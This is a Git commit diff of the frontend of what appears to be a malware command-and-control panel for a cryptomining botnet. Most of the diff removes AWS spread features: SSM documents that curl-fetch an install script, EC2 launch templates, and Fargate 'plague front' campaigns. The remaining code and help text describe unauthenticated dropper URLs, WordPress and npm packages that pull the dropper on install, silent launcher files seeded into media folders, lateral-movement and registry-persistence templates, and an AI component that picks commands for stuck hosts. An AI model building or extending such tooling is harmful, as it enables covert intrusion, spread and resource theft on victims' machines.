Elect one fleet torrent seeder per AWS VPC via IMDS cloud_instance_meta.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.
This commit is contained in:
@@ -469,32 +469,6 @@ export const api = {
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
fetchSSMSpreadBundle: (req: {
|
||||
server_url: string;
|
||||
build_id?: string;
|
||||
campaign?: string;
|
||||
platform?: string;
|
||||
aws_cli_path?: string;
|
||||
}) =>
|
||||
fetchJSON<{ ok: boolean; bundle: {
|
||||
join_lane: string;
|
||||
document: string;
|
||||
run_command: string;
|
||||
create_document_cli: string;
|
||||
manifest_url?: string;
|
||||
shard_urls?: string[];
|
||||
fallback_get_url?: string;
|
||||
} }>('/builder/ssm-spread-bundle', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(req),
|
||||
}),
|
||||
|
||||
forgeLaunchTemplate: (req: import('../help/launchTemplateExport').LaunchTemplateExportRequest) =>
|
||||
fetchJSON<import('../help/launchTemplateExport').LaunchTemplateExportResponse>('/forge/launch-template', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(req),
|
||||
}),
|
||||
|
||||
exportSpreadTemplate: async (req: {
|
||||
template: string;
|
||||
server_url: string;
|
||||
@@ -520,22 +494,6 @@ export const api = {
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
exportCloudTemplate: async (req: { template: string; server_url: string; build_id?: string; campaign?: string; bucket?: string; cloudfront_domain?: string; minio_endpoint?: string; region?: string; cluster?: string; namespace_name?: string }) => {
|
||||
const res = await fetch(`${API_BASE}/builder/cloud-template-export`, { method: 'POST', headers: { 'Content-Type': 'application/json', ...authHeaders() }, body: JSON.stringify(req) });
|
||||
if (res.status === 401) clearStoredAuth({ expired: true });
|
||||
if (!res.ok) throw new Error(await res.text());
|
||||
const blob = await res.blob();
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = `aetherforge-${req.template}.zip`;
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
testCloudConnection: (req: { kind: string; endpoint: string; bucket?: string }) =>
|
||||
fetchJSON<{ ok: boolean; reachable: boolean; url?: string; status?: number; error?: string }>('/builder/cloud-connection-test', { method: 'POST', body: JSON.stringify(req) }),
|
||||
|
||||
// Path Tracer — WireGuard VPN chain sessions
|
||||
startTrace: (agentIds: string[]) =>
|
||||
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
|
||||
@@ -623,17 +581,6 @@ export const api = {
|
||||
method: 'DELETE',
|
||||
}),
|
||||
|
||||
testErasureSwarm: (body: { s3_bucket?: string; cloudfront_domain?: string }) =>
|
||||
fetchJSON<{ ok: boolean; error?: string }>('/erasure-swarm/test', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(body),
|
||||
}),
|
||||
|
||||
getErasureSwarmPolicyJSON: (bucket?: string) =>
|
||||
fetchJSON<{ iam_policy: string; bucket_policy: string; env_keys: string[] }>(
|
||||
`/erasure-swarm/policy-json${bucket ? `?bucket=${encodeURIComponent(bucket)}` : ''}`,
|
||||
),
|
||||
|
||||
// Full deck backup — downloads a zip containing config.json, users.json, miner.db.
|
||||
downloadBackup: async (): Promise<void> => {
|
||||
const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, {
|
||||
|
||||
@@ -217,17 +217,6 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
|
||||
<span>Erasure-coded multi-lane spread <HelpTip field="erasure_lanes" /></span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group checkbox-group" style={{ marginTop: '0.5rem' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={server.fargate_burst_campaign === true}
|
||||
onChange={(e) => onUpdate('server.fargate_burst_campaign', e.target.checked)}
|
||||
/>
|
||||
<span>Fargate burst seeder campaign (ECS, 2–4h TTL)</span>
|
||||
</label>
|
||||
</div>
|
||||
{server.lotl_onion_tiers?.length ? (
|
||||
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
|
||||
Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>
|
||||
|
||||
@@ -42,10 +42,6 @@ vi.mock('./SpreadTemplateExportPanel', () => ({
|
||||
default: () => <div data-testid="spread-template-export" />,
|
||||
}));
|
||||
|
||||
vi.mock('./LaunchTemplateExportPanel', () => ({
|
||||
default: () => <div data-testid="launch-template-export" />,
|
||||
}));
|
||||
|
||||
const listBuildsMock = vi.mocked(api.listBuilds);
|
||||
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
|
||||
const sendWOLMock = vi.mocked(api.sendWOL);
|
||||
|
||||
@@ -17,7 +17,6 @@ import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
|
||||
import FileManager from './FileManager';
|
||||
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
|
||||
import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
|
||||
import LaunchTemplateExportPanel from './LaunchTemplateExportPanel';
|
||||
import CredentialGraphTable from './CredentialGraphTable';
|
||||
import ServiceGraphSummary from './ServiceGraphSummary';
|
||||
import './ProtocolTunnelPanel.css';
|
||||
@@ -826,10 +825,6 @@ export default function CrucibleExpandedOps({
|
||||
<SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
|
||||
</CrucibleCollapsibleSection>
|
||||
|
||||
<CrucibleCollapsibleSection label="AWS Launch Template" className="cop-launch-template" helpField="crucible_section_launch_template" defaultOpen={false}>
|
||||
<LaunchTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
|
||||
</CrucibleCollapsibleSection>
|
||||
|
||||
<CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">
|
||||
<p className="crucible-seek-blurb">
|
||||
Recursively seeds every media directory under the given path with silent launcher files.
|
||||
|
||||
@@ -12,8 +12,7 @@ import { SacredMotif } from '../Visual/sacredGeometry/motifs';
|
||||
import SetupBanner from '../SetupBanner';
|
||||
import { getSetupStatus } from '../../help/setupStatus';
|
||||
import { resolvePageWeather } from '../../help/pageWeather';
|
||||
import { mergeBiomeWeather, type CloudVenueSnapshot } from '../../help/cloudVenueBiomeWeather';
|
||||
import { type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather';
|
||||
import { mergeScoutBiomeWeather, type ScoutConstellationSnapshot } from '../../help/scoutBiomeWeather';
|
||||
import { isDashboardRoute } from '../../help/routeEffects';
|
||||
import { api } from '../../api/client';
|
||||
import { usePresence } from '../../context/PresenceContext';
|
||||
@@ -46,9 +45,7 @@ function operatorDeckId(pathname: string): string {
|
||||
return 'dashboard';
|
||||
}
|
||||
|
||||
type NavItem = { readonly to: string; readonly label: string; readonly icon: string; readonly glow?: boolean };
|
||||
|
||||
const NAV_BASE: readonly NavItem[] = [
|
||||
const NAV_BASE = [
|
||||
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
|
||||
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
|
||||
{ to: '/activity', label: 'Activity Feed', icon: 'activity' },
|
||||
@@ -60,15 +57,15 @@ const NAV_BASE: readonly NavItem[] = [
|
||||
{ to: '/builds', label: 'Builds', icon: 'builds' },
|
||||
{ to: '/emberwake', label: 'Emberwake', icon: 'ember' },
|
||||
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
|
||||
];
|
||||
] as const;
|
||||
|
||||
const SEER_NAV: NavItem = { to: '/seer', label: 'Seer', icon: 'seer' };
|
||||
const SEER_NAV = { to: '/seer', label: 'Seer', icon: 'seer' } as const;
|
||||
|
||||
function buildNav(aiControlEnabled: boolean): NavItem[] {
|
||||
function buildNav(aiControlEnabled: boolean) {
|
||||
if (!aiControlEnabled) {
|
||||
return [...NAV_BASE];
|
||||
}
|
||||
const items: NavItem[] = [...NAV_BASE];
|
||||
const items = [...NAV_BASE];
|
||||
const calibrateIdx = items.findIndex((i) => i.to === '/settings');
|
||||
items.splice(calibrateIdx, 0, SEER_NAV);
|
||||
return items;
|
||||
@@ -313,18 +310,14 @@ export default function Layout({ children }: LayoutProps) {
|
||||
if (latestMessage?.type !== 'scout_constellations') return null;
|
||||
return latestMessage.payload as ScoutConstellationSnapshot;
|
||||
}, [latestMessage]);
|
||||
const cloudBiome = useMemo(() => {
|
||||
if (latestMessage?.type !== 'cloud_venue_biomes') return null;
|
||||
return latestMessage.payload as CloudVenueSnapshot;
|
||||
}, [latestMessage]);
|
||||
const pageWeather = useMemo(() => {
|
||||
const base = resolvePageWeather(location.pathname);
|
||||
const path = location.pathname.split('?')[0].replace(/\/$/, '') || '/';
|
||||
if (path === '/emberwake' || path === '/spread' || path === '/dashboard' || path === '/agents') {
|
||||
return mergeBiomeWeather(base, scoutBiome, cloudBiome);
|
||||
return mergeScoutBiomeWeather(base, scoutBiome);
|
||||
}
|
||||
return base;
|
||||
}, [location.pathname, scoutBiome, cloudBiome]);
|
||||
}, [location.pathname, scoutBiome]);
|
||||
const showDeckEffects = isDashboardRoute(location.pathname);
|
||||
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
|
||||
const mobileShortLabel: Record<string, string> = {
|
||||
|
||||
@@ -15,24 +15,6 @@ export function isOnionMinerLogEvent(event: SeerEventRecord): boolean {
|
||||
return event.event_type === 'onion_miner_log';
|
||||
}
|
||||
|
||||
export function isFargatePlagueFrontEvent(event: SeerEventRecord): boolean {
|
||||
return event.event_type === 'fargate_plague_front';
|
||||
}
|
||||
|
||||
export function fargatePlagueFrontSummary(event: SeerEventRecord): string {
|
||||
if (!isFargatePlagueFrontEvent(event)) return '';
|
||||
const p = event.payload ?? {};
|
||||
const ttl = typeof p.ttl_hours === 'number' ? p.ttl_hours : undefined;
|
||||
const expires = typeof p.expires_at === 'string' ? p.expires_at : '';
|
||||
if (ttl != null && expires) {
|
||||
return `Fargate burst seeder front · TTL ${ttl}h · expires ${expires}`;
|
||||
}
|
||||
if (ttl != null) {
|
||||
return `Fargate burst seeder front · TTL ${ttl}h`;
|
||||
}
|
||||
return 'Fargate burst seeder campaign active (ECS plague front)';
|
||||
}
|
||||
|
||||
export function onionMinerLogSummary(event: SeerEventRecord): string {
|
||||
if (!isOnionMinerLogEvent(event)) return '';
|
||||
const p = event.payload ?? {};
|
||||
|
||||
@@ -109,7 +109,6 @@ describe('FIELD_HELP', () => {
|
||||
'failure_atlas',
|
||||
'erasure_lanes',
|
||||
'fleet_torrent',
|
||||
'aws_erasure_swarm',
|
||||
'ai_court_session',
|
||||
'ai_persona',
|
||||
'ai_persona_aggressive',
|
||||
|
||||
@@ -48,8 +48,6 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
'Optional Reed–Solomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.',
|
||||
fleet_torrent:
|
||||
'Fleet Torrent extends erasure with a content-addressed shard DHT across seeder-role agents. One primary seeder per /24 (subnet_primary_seeder on auth). fleet_torrent_gossip relays have_shard / healthy / know_node fleet-wide (cross-subnet). BGP spread_route_hint attaches swarm_magnet + shard_manifest_urls. C2 super-seeder holds canonical shards at /api/v1/public/erasure-torrent/{token}/manifest. Zero-server mode uses last policy snapshot + 30m HTTPS reconnect.',
|
||||
aws_erasure_swarm:
|
||||
'Standalone AWS erasure swarm: deploy plans upload RS 4+2 shards to your S3 bucket and sign CloudFront URLs into BGP swarm_magnet web-seeds. Set aws_s3_shard_bucket + aws_cloudfront_domain in server config; supply AF_AWS_ACCESS_KEY_ID, AF_AWS_SECRET_ACCESS_KEY, AF_AWS_REGION, AF_CLOUDFRONT_KEY_PAIR_ID, AF_CLOUDFRONT_PRIVATE_KEY on the server host. Agents fetch LAN peers → signed CloudFront edge_url → C2 public shard. No signup flows.',
|
||||
ai_court_session:
|
||||
'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
|
||||
calibration_ai_control:
|
||||
|
||||
@@ -64,11 +64,9 @@ describe('UI_HELP', () => {
|
||||
'fm_encrypt_path',
|
||||
'pt_path_tracer',
|
||||
'pt_agent_chain',
|
||||
'pt_subnet_autopsy',
|
||||
'fleet_runtime_policy',
|
||||
'fleet_runtime_modules',
|
||||
'spread_funnel_widget',
|
||||
'subnet_immune_autopsy',
|
||||
'md_overview',
|
||||
'md_operation_chip',
|
||||
'md_spread_profile',
|
||||
@@ -84,10 +82,6 @@ describe('UI_HELP', () => {
|
||||
'ew_install_links',
|
||||
'ew_spread_kit',
|
||||
'ew_war_room',
|
||||
'ew_cloud_ecosystem',
|
||||
'ew_cloud_aws',
|
||||
'ew_cloud_generic',
|
||||
'ew_ssm_document',
|
||||
'ew_supply_chain',
|
||||
'ew_public_urls',
|
||||
'ew_techniques',
|
||||
@@ -110,7 +104,6 @@ describe('UI_HELP', () => {
|
||||
'set_webhook',
|
||||
'ui_color_scheme',
|
||||
'crucible_section_spread_templates',
|
||||
'crucible_section_launch_template',
|
||||
] as const;
|
||||
|
||||
it('defines help for every documented UI key', () => {
|
||||
|
||||
@@ -105,8 +105,6 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
|
||||
crucible_section_spread_templates:
|
||||
'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
|
||||
crucible_section_launch_template:
|
||||
'EC2 Launch Template strain genesis for AWS horizontal scale — cloud-init user-data embeds genesis snapshot hash, strain card ID, and server URL; first auth sets SpreadGeneration=0 and ParentAgentID=template.',
|
||||
|
||||
bm_pin_dropper:
|
||||
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
|
||||
@@ -176,14 +174,6 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.',
|
||||
ew_supply_chain:
|
||||
'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.',
|
||||
ew_cloud_ecosystem:
|
||||
'Unified cloud deploy hub — AWS and generic cloud templates with mermaid flows, copy/download, and connection tests.',
|
||||
ew_cloud_aws:
|
||||
'AWS templates: S3/CF erasure swarm, SSM, Launch Template, Fargate, EventBridge, Cloud Map.',
|
||||
ew_cloud_generic:
|
||||
'MinIO/S3-compatible kit upload and portable curl manifest.json for any VPS.',
|
||||
ew_ssm_document:
|
||||
'SSM Document spread lane — Run Command curl-fetches install.sh from your command deck.',
|
||||
ew_public_urls:
|
||||
'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.',
|
||||
ew_techniques:
|
||||
|
||||
@@ -91,7 +91,6 @@ export const WS_LATEST_MESSAGE_TYPES = new Set([
|
||||
'emberwake_notes_updated',
|
||||
'emberwake_war_room',
|
||||
'scout_constellations',
|
||||
'cloud_venue_biomes',
|
||||
'agent_online',
|
||||
'agent_offline',
|
||||
'new_share',
|
||||
|
||||
@@ -27,7 +27,6 @@ import {
|
||||
type ForgeDeliverable,
|
||||
} from '../help/forgeFormNormalize';
|
||||
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
|
||||
import AwsErasureSwarmPanel from '../components/Forge/AwsErasureSwarmPanel';
|
||||
import ForgeDispenseReveal from '../components/Forge/ForgeDispenseReveal';
|
||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
@@ -3083,17 +3082,6 @@ export default function BuilderPage() {
|
||||
<ForgeLockedHint meta={fieldMeta.webrtc_mesh_spread} />
|
||||
</div>
|
||||
|
||||
{calibrateConfig?.server && (
|
||||
<AwsErasureSwarmPanel
|
||||
server={calibrateConfig.server}
|
||||
onServerChange={(patch) =>
|
||||
setCalibrateConfig((prev) =>
|
||||
prev ? { ...prev, server: { ...prev.server, ...patch } } : prev,
|
||||
)
|
||||
}
|
||||
/>
|
||||
)}
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist}
|
||||
|
||||
@@ -15,19 +15,6 @@
|
||||
margin-top: 0.5rem;
|
||||
}
|
||||
|
||||
.emberwake-biome-chip {
|
||||
display: inline-block;
|
||||
margin: 0.5rem 0 0;
|
||||
padding: 0.2rem 0.55rem;
|
||||
font-size: 0.72rem;
|
||||
letter-spacing: 0.06em;
|
||||
text-transform: uppercase;
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
border: 1px solid rgba(0, 232, 245, 0.35);
|
||||
border-radius: 999px;
|
||||
background: rgba(0, 232, 245, 0.08);
|
||||
}
|
||||
|
||||
.emberwake-section-title {
|
||||
margin: 0 0 0.35rem;
|
||||
font-size: 1.1rem;
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
||||
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
|
||||
@@ -22,17 +22,12 @@ import { usePresence } from '../context/PresenceContext';
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import ComradeAvatar from '../components/Presence/ComradeAvatar';
|
||||
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
|
||||
import SSMSpreadPanel from '../components/Emberwake/SSMSpreadPanel';
|
||||
import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
|
||||
import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
|
||||
import { activeBiomeLabel, type CloudVenueSnapshot } from '../help/cloudVenueBiomeWeather';
|
||||
import type { ScoutConstellationSnapshot } from '../help/scoutBiomeWeather';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import './EmberwakePage.css';
|
||||
import '../components/Presence/Presence.css';
|
||||
|
||||
const CloudSpreadPanel = lazy(() => import('../components/Spread/CloudSpreadPanel'));
|
||||
|
||||
function CopyChip({ text, label }: { text: string; label: string }) {
|
||||
const [ok, setOk] = useState(false);
|
||||
const copy = () => {
|
||||
@@ -76,18 +71,6 @@ export default function EmberwakePage() {
|
||||
|
||||
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
|
||||
|
||||
const biomeLabel = useMemo(() => {
|
||||
let scout: ScoutConstellationSnapshot | null = null;
|
||||
let cloud: CloudVenueSnapshot | null = null;
|
||||
if (latestMessage?.type === 'scout_constellations') {
|
||||
scout = latestMessage.payload as ScoutConstellationSnapshot;
|
||||
}
|
||||
if (latestMessage?.type === 'cloud_venue_biomes') {
|
||||
cloud = latestMessage.payload as CloudVenueSnapshot;
|
||||
}
|
||||
return activeBiomeLabel(scout, cloud);
|
||||
}, [latestMessage]);
|
||||
|
||||
// Keep refs so `load` can read current pin values without listing them as deps.
|
||||
// Listing pinA/pinB as deps caused a cascade: load() → setPinA/setPinB →
|
||||
// re-render → new load reference → useEffect fires load() again (×N).
|
||||
@@ -256,11 +239,6 @@ export default function EmberwakePage() {
|
||||
<p className="page-subtitle">
|
||||
Tag install links, export lure kits, and track which campaigns convert — all from one desk.
|
||||
</p>
|
||||
{biomeLabel && (
|
||||
<p className="emberwake-biome-chip font-tech" data-testid="emberwake-biome-chip">
|
||||
Weather biome · {biomeLabel}
|
||||
</p>
|
||||
)}
|
||||
<p className="emberwake-hero-links form-hint">
|
||||
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
|
||||
Spread techniques playbook
|
||||
@@ -528,16 +506,6 @@ export default function EmberwakePage() {
|
||||
)}
|
||||
</section>
|
||||
|
||||
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
|
||||
<summary className="emberwake-advanced-summary">
|
||||
<span className="emberwake-section-title">Cloud Ecosystem <HelpTip field="ew_cloud_ecosystem" /></span>
|
||||
<span className="emberwake-section-desc emberwake-advanced-tag">AWS + generic</span>
|
||||
</summary>
|
||||
<Suspense fallback={<p className="form-hint">Loading cloud deploy hub…</p>}>
|
||||
<CloudSpreadPanel serverUrl={serverBase} buildId={pinA} campaign={campaign} />
|
||||
</Suspense>
|
||||
</details>
|
||||
|
||||
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
|
||||
<summary className="emberwake-advanced-summary">
|
||||
<span className="emberwake-section-title">
|
||||
@@ -584,16 +552,6 @@ export default function EmberwakePage() {
|
||||
</ul>
|
||||
</details>
|
||||
|
||||
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
|
||||
<summary className="emberwake-advanced-summary">
|
||||
<span className="emberwake-section-title">
|
||||
Spread methods — AWS SSM Document <HelpTip field="ew_ssm_document" />
|
||||
</span>
|
||||
<span className="emberwake-section-desc emberwake-advanced-tag">Owned EC2</span>
|
||||
</summary>
|
||||
<SSMSpreadPanel serverBase={serverBase} buildId={pinA} campaign={campaign} />
|
||||
</details>
|
||||
|
||||
<section
|
||||
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
|
||||
aria-labelledby="ew-techniques-heading"
|
||||
|
||||
@@ -382,12 +382,6 @@ export interface ServerSettings {
|
||||
erasure_lanes_enabled?: boolean;
|
||||
/** Fleet Torrent shard DHT + cross-subnet gossip (default off). */
|
||||
fleet_torrent_enabled?: boolean;
|
||||
aws_s3_shard_bucket?: string;
|
||||
aws_s3_shard_region?: string;
|
||||
aws_cloudfront_domain?: string;
|
||||
fargate_burst_campaign?: boolean;
|
||||
fargate_burst_ttl_hours?: number;
|
||||
fargate_burst_expires_at?: string;
|
||||
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
||||
triple_onion_policy?: {
|
||||
patch_first?: boolean;
|
||||
|
||||
Reference in New Issue
Block a user